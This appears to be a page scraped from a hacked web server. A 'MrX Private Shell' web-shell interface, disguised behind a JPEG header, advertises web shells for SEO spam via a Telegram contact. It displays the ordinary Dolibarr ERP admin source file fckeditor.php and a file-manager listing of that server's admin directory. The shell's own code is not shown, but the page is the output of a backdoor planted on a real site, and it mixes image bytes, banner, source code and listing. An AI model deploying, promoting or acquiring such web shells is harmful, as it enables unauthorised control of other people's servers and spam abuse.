����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/* Copyright (C) 2004-2011 Laurent Destailleur <eldy@users.sourceforge.net>
* Copyright (C) 2005-2012 Regis Houssin <regis.houssin@inodbox.com>
* Copyright (C) 2012-20113 Juanjo Menent <jmenent@2byte.es>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* \file htdocs/admin/fckeditor.php
* \ingroup fckeditor
* \brief Page d'activation du module FCKeditor dans les autres modules
*/
require '../main.inc.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/doleditor.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/doleditor.class.php';
// Load translation files required by the page
$langs->loadLangs(array('admin', 'fckeditor'));
$action = GETPOST('action', 'alpha');
// Possible modes are:
// dolibarr_details
// dolibarr_notes
// dolibarr_readonly
// dolibarr_mailings
// Full (not sure this one is used)
$mode=GETPOST('mode')?GETPOST('mode', 'alpha'):'dolibarr_notes';
if (!$user->admin) accessforbidden();
// Constante et traduction de la description du module
$modules = array(
'SOCIETE' => 'FCKeditorForCompany',
'PRODUCTDESC' => 'FCKeditorForProduct',
'DETAILS' => 'FCKeditorForProductDetails',
'USERSIGN' => 'FCKeditorForUserSignature',
'MAILING' => 'FCKeditorForMailing',
'MAIL' => 'FCKeditorForMail'
);
// Conditions pour que l'option soit proposee
$conditions = array(
'SOCIETE' => 1,
'PRODUCTDESC' => (! empty($conf->product->enabled) || ! empty($conf->service->enabled)),
'DETAILS' => (! empty($conf->facture->enabled) || ! empty($conf->propal->enabled) || ! empty($conf->commande->enabled) || ! empty($conf->supplier_proposal->enabled) || ! empty($conf->fournisseur->enabled)),
'USERSIGN' => 1,
'MAILING' => ! empty($conf->mailing->enabled),
'MAIL' => (! empty($conf->facture->enabled) || ! empty($conf->propal->enabled) || ! empty($conf->commande->enabled))
);
// Picto
$picto = array(
'SOCIETE' => 'generic',
'PRODUCTDESC' => 'product',
'DETAILS' => 'product',
'USERSIGN' => 'user',
'MAILING' => 'email',
'MAIL' => 'email'
);
/*
* Actions
*/
foreach($modules as $const => $desc)
{
if ($action == 'activate_'.strtolower($const))
{
dolibarr_set_const($db, "FCKEDITOR_ENABLE_".$const, "1", 'chaine', 0, '', $conf->entity);
// Si fckeditor est active dans la description produit/service, on l'active dans les formulaires
if ($const == 'PRODUCTDESC' && ! empty($conf->global->PRODUIT_DESC_IN_FORM))
{
dolibarr_set_const($db, "FCKEDITOR_ENABLE_DETAILS", "1", 'chaine', 0, '', $conf->entity);
}
header("Location: ".$_SERVER["PHP_SELF"]);
exit;
}
if ($action == 'disable_'.strtolower($const))
{
dolibarr_del_const($db, "FCKEDITOR_ENABLE_".$const, $conf->entity);
header("Location: ".$_SERVER["PHP_SELF"]);
exit;
}
}
if (GETPOST('save', 'alpha'))
{
$error = 0;
$fckeditor_skin = GETPOST('fckeditor_skin', 'alpha');
if (! empty($fckeditor_skin)) {
if (! dolibarr_set_const($db, 'FCKEDITOR_SKIN', $fckeditor_skin, 'chaine', 0, '', $conf->entity)) {
$error ++;
}
} else {
$error ++;
}
$fckeditor_test = GETPOST('formtestfield');
if (! empty($fckeditor_test)) {
if (! dolibarr_set_const($db, 'FCKEDITOR_TEST', $fckeditor_test, 'chaine', 0, '', $conf->entity)) {
$error ++;
}
} else {
$error ++;
}
if (! $error)
{
setEventMessages($langs->trans("SetupSaved"), null, 'mesgs');
}
else
{
setEventMessages($langs->trans("Error"), null, 'errors');
}
}
/*
* View
*/
llxHeader();
$linkback='<a href="'.DOL_URL_ROOT.'/admin/modules.php?restore_lastsearch_values=1">'.$langs->trans("BackToModuleList").'</a>';
print load_fiche_titre($langs->trans("AdvancedEditor"), $linkback, 'title_setup');
print '<br>';
if (empty($conf->use_javascript_ajax))
{
setEventMessages(array($langs->trans("NotAvailable"), $langs->trans("JavascriptDisabled")), null, 'errors');
}
else
{
print '<table class="noborder" width="100%">';
print '<tr class="liste_titre">';
print '<td colspan="2">'.$langs->trans("ActivateFCKeditor").'</td>';
print '<td class="center" width="100">'.$langs->trans("Action").'</td>';
print "</tr>\n";
// Modules
foreach($modules as $const => $desc)
{
// Si condition non remplie, on ne propose pas l'option
if (! $conditions[$const]) continue;
print '<tr class="oddeven">';
print '<td width="16">'.img_object("", $picto[$const]).'</td>';
print '<td>'.$langs->trans($desc).'</td>';
print '<td class="center" width="100">';
$constante = 'FCKEDITOR_ENABLE_'.$const;
$value = (isset($conf->global->$constante)?$conf->global->$constante:0);
if ($value == 0)
{
print '<a href="'.$_SERVER['PHP_SELF'].'?action=activate_'.strtolower($const).'">'.img_picto($langs->trans("Disabled"), 'switch_off').'</a>';
}
elseif ($value == 1)
{
print '<a href="'.$_SERVER['PHP_SELF'].'?action=disable_'.strtolower($const).'">'.img_picto($langs->trans("Enabled"), 'switch_on').'</a>';
}
print "</td>";
print '</tr>';
}
print '</table>'."\n";
print '<br>'."\n";
print '<form name="formtest" method="POST" action="'.$_SERVER["PHP_SELF"].'">'."\n";
// Skins
show_skin(null, 1);
print '<br>'."\n";
$listofmodes=array('dolibarr_mailings', 'dolibarr_notes', 'dolibarr_details', 'dolibarr_readonly', 'Full', 'Full_inline');
$linkstomode='';
foreach($listofmodes as $newmode)
{
if ($linkstomode) $linkstomode.=' - ';
$linkstomode.='<a href="'.$_SERVER["PHP_SELF"].'?mode='.$newmode.'">';
if ($mode == $newmode) $linkstomode.='<strong>';
$linkstomode.=$newmode;
if ($mode == $newmode) $linkstomode.='</strong>';
$linkstomode.='</a>';
}
$linkstomode.='';
print load_fiche_titre($langs->trans("TestSubmitForm"), $linkstomode, '');
print '<input type="hidden" name="mode" value="'.dol_escape_htmltag($mode).'">';
if ($mode != 'Full_inline')
{
$uselocalbrowser=true;
$readonly=($mode=='dolibarr_readonly'?1:0);
$editor=new DolEditor('formtestfield', isset($conf->global->FCKEDITOR_TEST)?$conf->global->FCKEDITOR_TEST:'Test', '', 200, $mode, 'In', true, $uselocalbrowser, 1, 120, 8, $readonly);
$editor->Create();
}
else
{
print '<div style="border: 1px solid #888;" contenteditable="true">';
print $conf->global->FCKEDITOR_TEST;
print '</div>';
}
print '<br><div class="center"><input class="button" type="submit" name="save" value="'.$langs->trans("Save").'"></div>'."\n";
print '<div id="divforlog"></div>';
print '</form>'."\n";
// Add env of ckeditor
// This is to show how CKEditor detect browser to understand why editor is disabled or not
if (1 == 2) // Change this to enable output
{
print '<br><script language="javascript">
function jsdump(obj, id) {
var out = \'\';
for (var i in obj) {
out += i + ": " + obj[i] + "<br>\n";
}
jQuery("#"+id).html(out);
}
jsdump(CKEDITOR.env, "divforlog");
</script>';
}
/*
print '<!-- Result -->';
print $_POST["formtestfield"];
print '<!-- Result -->';
print $conf->global->FCKEDITOR_TEST;
*/
}
// End of page
llxFooter();
$db->close();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| dolistore | Folder | 0755 |
|
|
| menus | Folder | 0755 |
|
|
| system | Folder | 0755 |
|
|
| tools | Folder | 0755 |
|
|
| accountant.php | File | 12.11 KB | 0644 |
|
| agenda.php | File | 6.9 KB | 0644 |
|
| agenda_extrafields.php | File | 4.05 KB | 0644 |
|
| agenda_extsites.php | File | 8.28 KB | 0644 |
|
| agenda_other.php | File | 13.79 KB | 0644 |
|
| agenda_reminder.php | File | 7.64 KB | 0644 |
|
| agenda_xcal.php | File | 8.51 KB | 0644 |
|
| bank.php | File | 15.28 KB | 0644 |
|
| bank_extrafields.php | File | 3.94 KB | 0644 |
|
| barcode.php | File | 13.3 KB | 0644 |
|
| bom.php | File | 19.14 KB | 0644 |
|
| boxes.php | File | 16.47 KB | 0644 |
|
| chequereceipts.php | File | 9.19 KB | 0644 |
|
| clicktodial.php | File | 4.96 KB | 0644 |
|
| commande.php | File | 22.97 KB | 0644 |
|
| commande_fournisseur_dispatch_extrafields.php | File | 4.2 KB | 0644 |
|
| company.php | File | 50.66 KB | 0644 |
|
| compta.php | File | 5.06 KB | 0644 |
|
| confexped.php | File | 4.44 KB | 0644 |
|
| const.php | File | 8.76 KB | 0644 |
|
| contract.php | File | 16.82 KB | 0644 |
|
| dav.php | File | 5.44 KB | 0644 |
|
| debugbar.php | File | 3.63 KB | 0644 |
|
| defaultvalues.php | File | 15.43 KB | 0644 |
|
| delais.php | File | 14.61 KB | 0644 |
|
| dict.php | File | 98.49 KB | 0644 |
|
| ecm.php | File | 2.96 KB | 0644 |
|
| emailcollector_card.php | File | 26.66 KB | 0644 |
|
| emailcollector_list.php | File | 22.51 KB | 0644 |
|
| events.php | File | 3.34 KB | 0644 |
|
| expedition.php | File | 17.34 KB | 0644 |
|
| expedition_extrafields.php | File | 4.12 KB | 0644 |
|
| expeditiondet_extrafields.php | File | 4.18 KB | 0644 |
|
| expensereport.php | File | 16.41 KB | 0644 |
|
| expensereport_extrafields.php | File | 4.06 KB | 0644 |
|
| expensereport_ik.php | File | 6.15 KB | 0644 |
|
| expensereport_rules.php | File | 11.07 KB | 0644 |
|
| export.php | File | 3.09 KB | 0644 |
|
| external_rss.php | File | 9.84 KB | 0644 |
|
| facture.php | File | 31.87 KB | 0644 |
|
| fckeditor.php | File | 7.85 KB | 0644 |
|
| fichinter.php | File | 21.23 KB | 0644 |
|
| geoipmaxmind.php | File | 4.88 KB | 0644 |
|
| holiday.php | File | 17.15 KB | 0644 |
|
| ihm.php | File | 25.84 KB | 0644 |
|
| index.php | File | 5.01 KB | 0644 |
|
| ldap.php | File | 12.66 KB | 0644 |
|
| ldap_contacts.php | File | 14.99 KB | 0644 |
|
| ldap_groups.php | File | 9.14 KB | 0644 |
|
| ldap_members.php | File | 19.96 KB | 0644 |
|
| ldap_members_types.php | File | 8.77 KB | 0644 |
|
| ldap_users.php | File | 19.88 KB | 0644 |
|
| limits.php | File | 11.75 KB | 0644 |
|
| livraison.php | File | 15.98 KB | 0644 |
|
| livraison_extrafields.php | File | 4.12 KB | 0644 |
|
| livraisondet_extrafields.php | File | 4.19 KB | 0644 |
|
| loan.php | File | 3.23 KB | 0644 |
|
| mailing.php | File | 5.43 KB | 0644 |
|
| mailman.php | File | 7.97 KB | 0644 |
|
| mails.php | File | 37.39 KB | 0644 |
|
| mails_emailing.php | File | 25.29 KB | 0644 |
|
| mails_senderprofile_list.php | File | 19.89 KB | 0644 |
|
| mails_templates.php | File | 45.42 KB | 0644 |
|
| menus.php | File | 9.94 KB | 0644 |
|
| modulehelp.php | File | 18.72 KB | 0644 |
|
| modules.php | File | 47.46 KB | 0644 |
|
| multicurrency.php | File | 12.68 KB | 0644 |
|
| notification.php | File | 10.78 KB | 0644 |
|
| oauth.php | File | 4.75 KB | 0644 |
|
| oauthlogintokens.php | File | 13.62 KB | 0644 |
|
| openinghours.php | File | 7.95 KB | 0644 |
|
| order_extrafields.php | File | 3.99 KB | 0644 |
|
| orderdet_extrafields.php | File | 4.07 KB | 0644 |
|
| payment.php | File | 9.93 KB | 0644 |
|
| pdf.php | File | 22.38 KB | 0644 |
|
| perms.php | File | 6.58 KB | 0644 |
|
| prelevement.php | File | 19.35 KB | 0644 |
|
| propal.php | File | 25.24 KB | 0644 |
|
| proxy.php | File | 6.78 KB | 0644 |
|
| receiptprinter.php | File | 16.75 KB | 0644 |
|
| reception_extrafields.php | File | 4.11 KB | 0644 |
|
| reception_setup.php | File | 16.96 KB | 0644 |
|
| resource.php | File | 4.14 KB | 0644 |
|
| resource_extrafields.php | File | 3.96 KB | 0644 |
|
| salaries.php | File | 3.23 KB | 0644 |
|
| security.php | File | 15.86 KB | 0644 |
|
| security_file.php | File | 6.91 KB | 0644 |
|
| security_other.php | File | 6.11 KB | 0644 |
|
| sms.php | File | 11.31 KB | 0644 |
|
| socialnetworks.php | File | 3.21 KB | 0644 |
|
| spip.php | File | 4.88 KB | 0644 |
|
| stock.php | File | 16.71 KB | 0644 |
|
| supplier_invoice.php | File | 18.5 KB | 0644 |
|
| supplier_order.php | File | 21.15 KB | 0644 |
|
| supplier_payment.php | File | 16.44 KB | 0644 |
|
| supplier_proposal.php | File | 20.35 KB | 0644 |
|
| supplierinvoice_extrafields.php | File | 4.13 KB | 0644 |
|
| supplierinvoicedet_extrafields.php | File | 4.2 KB | 0644 |
|
| supplierorder_extrafields.php | File | 4.05 KB | 0644 |
|
| supplierorderdet_extrafields.php | File | 4.12 KB | 0644 |
|
| syslog.php | File | 10.12 KB | 0644 |
|
| taxes.php | File | 8.8 KB | 0644 |
|
| ticket.php | File | 18.65 KB | 0644 |
|
| ticket_extrafields.php | File | 3.8 KB | 0644 |
|
| ticket_public.php | File | 17.54 KB | 0644 |
|
| translation.php | File | 22.63 KB | 0644 |
|
| triggers.php | File | 2.7 KB | 0644 |
|
| user.php | File | 11.4 KB | 0644 |
|
| usergroup.php | File | 10.14 KB | 0644 |
|
| website.php | File | 23.24 KB | 0644 |
|
| website_options.php | File | 4.65 KB | 0644 |
|
| workflow.php | File | 7.02 KB | 0644 |
|